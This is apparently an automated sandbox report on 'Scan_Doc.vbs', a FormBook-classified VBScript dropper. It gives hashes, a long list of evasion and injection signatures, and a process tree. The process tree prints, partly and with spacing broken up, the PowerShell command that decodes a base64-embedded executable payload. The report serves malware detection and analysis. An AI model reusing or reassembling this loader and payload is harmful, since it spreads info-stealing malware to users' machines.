Edit tour
Windows
Analysis Report
Scan_Doc.vbs
Overview
General Information
| Sample Name: | Scan_Doc.vbs |
| Analysis ID: | 1272266 |
| MD5: | eca38e49a376a162a21d257363a2263e |
| SHA1: | 80a99c2a933d454b3654d1a7bca7993c1b1355fb |
| SHA256: | a3fd50cd54fa36cec2ee064e52c91d2106701374fcd3e0ad1e22cbf17479ca71 |
| Tags: | vbs |
| Infos: |  |
 | |
Detection
FormBook
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Found malware configuration
Yara detected FormBook
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Very long command line found
Suspicious powershell command line found
Modifies the prolog of user mode functions (user mode inline hooks)
Injects a PE file into a foreign processes
Yara detected Generic Downloader
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Found decision node followed by non-executed suspicious APIs
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Java / VBScript file with very long strings (likely obfuscated code)
Contains functionality to read the PEB
Checks if the current process is being debugged
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Classification
- System is w10x64
wscript.exe (PID: 5700 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Scan_ Doc.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C) 
powershell.exe (PID: 5468 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" [Byte[]] $ rOWg = [sy stem.Conve rt]::FromB ase64strin g('TVqQAAM AAAAEAAAA/ /8AALgAAAA AAAAAQAAAA AAAAAAAAAA AAAAAAAAAA AAAAAAAAAA AAAAAAAAAA AAAgAAAAA4 fug4AtAnNI bgBTM0hVGh pcyBwcm9nc mFtIGNhbm5 vdCBiZSByd W4gaW4gRE9 TIG1vZGUuD Q0KJAAAAAA AAABQRQAAT AEDAJmMmGQ AAAAAAAAAA OAAAiELAVA AAEYAAAAGA AAAAAAAGmQ AAAAgAAAAg AAAAAAAEAA gAAAAAgAAB AAAAAAAAAA GAAAAAAAAA ADAAAAAAgA AAAAAAAMAY IUAABAAABA AAAAAEAAAE AAAAAAAABA AAAAAAAAAA AAAAMVjAAB PAAAAAIAAA CgDAAAAAAA AAAAAAAAAA AAAAAAAAKA AAAwAAADEY gAAHAAAAAA AAAAAAAAAA AAAAAAAAAA AAAAAAAAAA AAAAAAAAAA AAAAAAAAAA AAAIAAACAA AAAAAAAAAA AAACCAAAEg AAAAAAAAAA AAAAC50ZXh 0AAAAIEQAA AAgAAAARgA AAAIAAAAAA AAAAAAAAAA AACAAAGAuc nNyYwAAACg DAAAAgAAAA AQAAABIAAA AAAAAAAAAA AAAAABAAAB ALnJlbG9jA AAMAAAAAKA AAAACAAAAT AAAAAAAAAA AAAAAAAAAQ AAAQgAAAAA AAAAAAAAAA AAAAAD5YwA AAAAAAEgAA AACAAUAuDE AAAQvAAADA AAAAAAAALx gAAAIAgAAA AAAAAAAAAA AAAAAAAAAA AAAAAAAAAA AAAAAAAAAA AAAAAAAAAA AABooSQAAB ioeAigBAAA KKh4CKAQAA AoqABMwCAB JAAAAAAAAA HMFAAAKgAE AAAQWKwEWR QMAAAACAAA ADwAAABwAA AArJ3MGAAA KgAIAAAQXK +BzBwAACoA DAAAEGCvTc wgAAAqABAA ABBkrxiouf gEAAARvCQA ACioufgIAA ARvCgAACio ufgMAAARvC wAACioufgQ AAARvDAAAC ir2FysBFiw AfgUAAAQUK BsAAAosJHI BAABwHChKA AAG0AUAAAI oEAAACm8cA AAKcx0AAAq ABQAABH4FA AAEKhp+BgA ABCoeAoAGA AAEKlZzDQA ABigeAAAKd AYAAAKABwA ABCoeAigfA AAKKhp+BwA ABCoaKA4AA AYqHgIoEwA ACioAABswD wDnBgAAAQA AESAADAAAK CAAAAoWKwE WRQwAAAAFA AAAVwEAAGQ BAAAzAgAAa QIAAHoCAAC lAgAA0wIAA PgCAAAVAwA AaQMAALUDA AA4dQYAAHM hAAAKJSgiA AAKbyMAAAo CKCQAAApyI QAAcBYoSgA ABnItAABwF yhKAAAGbyU AAApyMQAAc BgoSgAABnI /AABwHChKA AAGbyUAAAp yQwAAcBwoS gAABnJPAAB wHihKAAAGb yUAAApyUwA AcBgoSgAAB nJfAABwHSh KAAAGbyUAA ApyYwAAcBg oSgAABnJ1A ABwHShKAAA GbyUAAApye QAAcBwoSgA ABnKLAABwF yhKAAAGbyU AAApyjwAAc B4oSgAABnK hAABwHihKA AAGbyUAAAp ypQAAcBwoS gAABnKxAAB wGChKAAAGb yUAAApytQA AcBsoSgAAB nLHAABwGyh KAAAGbyUAA ApyywAAcBw oSgAABnLdA ABwGShKAAA GbyUAAApy4 QAAcB0oSgA ABnLzAABwG ihKAAAGbyU AAApvJgAAC goGbycAAAo LFzh0/v//B ygkAAAKCxg 4Z/7//wNy9 wAAcBooSgA ABhYoKAAAC joEAQAAHxo oKQAACiVy+ wAAcBooSgA ABigqAAAKE wQSBP4WFQA AAW8RAAAKc v8AAHAdKEo AAAYoKwAAC gxyCQEAcB0 oSgAABigsA AAKKAEAACs tTHMuAAAKc y8AAAoTBRE FF28wAAAKE QVyFQEAcBk oSgAABm8xA AAKEQVyiQE AcBooSgAAB ggoMgAACm8 zAAAKJREFb zQAAApvNQA ACiZ+NgAAC nL7AQBwHCh KAAAGF283A AAKDRk4mP3 //wlvOAAAC nJXAgBwHCh KAAAGKAIAA CstEglyYQI AcB0oSgAAB ghvOgAACgl vOwAACho4Y v3//wcoPAA ACigWAAAGG zhR/f//OAg EAAAEcmsCA HAdKEoAAAY WKCgAAAo65 gMAAB8aKCk AAAoTBhw4J v3//xEGcz0 AAApyCQEAc B0oSgAABm8 +AAAKKAMAA Cs6ogMAACg qAAAKEwQdO Pj8//8SBP4 WFQAAAW8RA AAKcm8CAHA aKEoAAAYoM gAAChMHHjj T/P//EQZye QIAcBwoSgA ABhEHKD8AA AoTCB8JOLb 8//9zLgAAC nMvAAAKEwk